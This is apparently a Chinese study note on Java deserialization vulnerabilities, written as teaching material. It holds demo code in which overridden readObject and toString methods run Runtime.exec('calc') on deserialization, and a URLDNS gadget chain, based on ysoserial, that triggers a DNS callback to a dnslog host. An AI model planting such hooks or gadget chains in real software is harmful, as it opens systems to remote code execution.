目录
Java-原生使用-序列化&反序列化
Java-安全问题-重写方法&触发方法
Java-安全问题-可控其他类重写方法
思维导图
Java知识点:
功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充
安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
安全:原生开发安全,第三方框架安全,第三方库安全等,待补充
Java-原生使用-序列化&反序列化
序列化与反序列化序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象
为什么有序列化技术?
序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过RMI传输对象的时候。
几种创建的序列化和反序列化协议
• JAVA内置的writeObject()/readObject()
• JAVA内置的XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson
为什么会出现反序列化安全问题
内置原生写法分析
• 重写readObject方法
• 输出调用toString方法
反序列化利用链
(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式
package com.example;
import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;
// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {
// 公共成员变量
public String name = "xiaodi";
public String gender = "man";
public Integer age = 30;
// 构造方法
public UserDemo(String name, String gender, Integer age) {
this.name = name;
this.gender = gender;
this.age = age;
System.out.println(name);
System.out.println(gender);
}
// toString 方法,用于打印对象信息
public String toString() {
// 返回对象信息的字符串表示
return "User{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';
}
}
创建对应的序列化类,并创建对应的序列化方法:SerializableDemo.java
// 指定包名
package com.example;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
// 序列化演示类
public class SerializableDemo {
public static void main(String[] args) throws IOException {
// 创建一个用户对象,引用UserDemo
UserDemo u = new UserDemo("xdsec", "gay1", 30);
// 调用方法进行序列化
SerializableTest(u);
// ser.txt 就是对象u序列化的字节流数据
}
// 序列化方法
public static void SerializableTest(Object obj) throws IOException {
// 使用 ObjectOutputStream 将对象 obj 序列化后输出到文件 ser.txt
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
// 将对象 obj 进行序列化,并将序列化后的数据写入到文件输出流中。
oos.writeObject(obj);
// 关闭流
oos.close();
}
}
ser.txt的内容:
package com.example;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
// 反序列化演示类
public class UnserializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 调用下面的方法,传输 ser.txt,解析还原反序列化
Object obj = UnserializableTest("ser.txt");
// 对 obj 对象进行输出,默认调用原始对象的 toString 方法
System.out.println(obj);
}
// 反序列化方法
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
// 读取 Filename 文件进行反序列化还原
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 通过 ois.readObject() 方法从文件输入流中读取一个对象,并将其赋值给变量 o。
Object o = ois.readObject();
// 返回反序列化后的对象
return o;
}
}
Java-安全问题-重写方法&触发方法
toString //输出调用toString方法User u = new User("xdsec","man",30);
System.out.println(u);
serializeTest(u);
unserializeTest("ser.txt");
readObject //序列化后被重写readObject调用
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确defaultReadObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
重写方法:原理:readObject 序列化后被重写 readObject 调用
修改UserDemo.java
package com.example; import java.io.Serializable; import java.io.IOException; import java.io.ObjectInputStream; // 用户信息类,实现了 Serializable 接口 public class UserDemo implements Serializable { // 公共成员变量 public String name = "xiaodi"; public String gender = "man"; public Integer age = 30; // 构造方法 public UserDemo(String name, String gender, Integer age) { this.name = name; this.gender = gender; this.age = age; System.out.println(name); System.out.println(gender); } // toString 方法,用于打印对象信息 public String toString() { // 返回对象信息的字符串表示 return "User{" + "name='" + name + '\'' + ", gender='" + gender + '\'' + ", age=" + age + '}'; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { // 指向正确的defaultReadObject ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } }
运行 SerializableDemo.java 生成新的 ser.txt 后,运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。
这是因为在进行反序列化操作过程中,如下方法调用了 readObject 方法,但由于我们在 UserDemo.java 重写了该方法,所以导致此处执行的 readObject 不是原本默认的 readObject,而是我们自定义的 readObject,其中 ois.defaultReadObject() 使其指向正确的 readObject 从而使程序可以正常运行,又可以执行我们的代码
提一嘴,迪总说这个实战中基本遇不到,因为没人会这么干
触发方法:原理:toString 输出打印对象时调用 toString 方法
修改UserDemo.java
package com.example; //import java.io.Serializable; //import java.io.IOException; //import java.io.ObjectInputStream; // 用户信息类,实现了 Serializable 接口 //public class UserDemo implements Serializable { // // // 公共成员变量 // public String name = "xiaodi"; // public String gender = "man"; // public Integer age = 30; // // // 构造方法 // public UserDemo(String name, String gender, Integer age) { // this.name = name; // this.gender = gender; // this.age = age; // System.out.println(name); // System.out.println(gender); // } // // // toString 方法,用于打印对象信息 // public String toString() { // // // 返回对象信息的字符串表示 // return "User{" + // "name='" + name + '\'' + // ", gender='" + gender + '\'' + // ", age=" + age + // '}'; // } //} import java.io.Serializable; import java.io.IOException; import java.io.ObjectInputStream; // 用户信息类,实现了 Serializable 接口 public class UserDemo implements Serializable { // 公共成员变量 public String name = "xiaodi"; public String gender = "man"; public Integer age = 30; // 构造方法 public UserDemo(String name, String gender, Integer age) { this.name = name; this.gender = gender; this.age = age; System.out.println(name); System.out.println(gender); } // toString 方法,用于打印对象信息 public String toString() { try { Runtime.getRuntime().exec("calc"); }catch (IOException e) { throw new RuntimeException(e); } // 返回对象信息的字符串表示 return "User{" + "name='" + name + '\'' + ", gender='" + gender + '\'' + ", age=" + age + '}'; } }
这里没有运行 SerializableDemo.java 生成新的 ser.txt,我前面一直以为 ser.txt 里面保存的是那个对象类,需要每次新生成,写的新代码才会生效。结果这里直接运行反序列化,新写的代码也可以生效,有点纳闷。
直接运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。这是由于当对一个对象进行打印输出时,会默认自动调用它的 toString 方法,而我们这里在 toString 加入了我们要运行的代码,所以当反序列化时下面代码运行打印输出时,我们的代码就会成功执行。
Java-安全问题-可控其他类重写方法
参考:https :// github . com / frohoff / ysoserial / blob / master / src / main / java / ysoserial / payloads / URLDNS . java
UrLDns.java
package com.example;
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class UrLDns implements Serializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//正常代码中 创建对象HashMap
//用到原生态readObject方法去反序列化数据
//readObject 在ObjectInputSteam 本来在这里
//HashMap也有readObject方法
//反序列化readObject方法调用 HashMap里面的readObject
//执行链:
//序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()
//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞
HashMap<URL,Integer> hash = new HashMap<>();
URL u=new URL("http://0tzp6g.dnslog.cn");
hash.put(u,1);
SerializableTest(hash);
UnserializableTest("dns.txt");
}
public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream() 输出文件
//将对象obj序列化后输出到文件ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);
}
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}
正常代码中 创建对象HashMap
用到原生态readObject方法去反序列化数据
readObject 在ObjectInputSteam 本来在这里
HashMap也有readObject方法反序列化readObject方法调用 HashMap里面的readObject
执行链:
序列化对象hash 来源于自带类HashMap
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞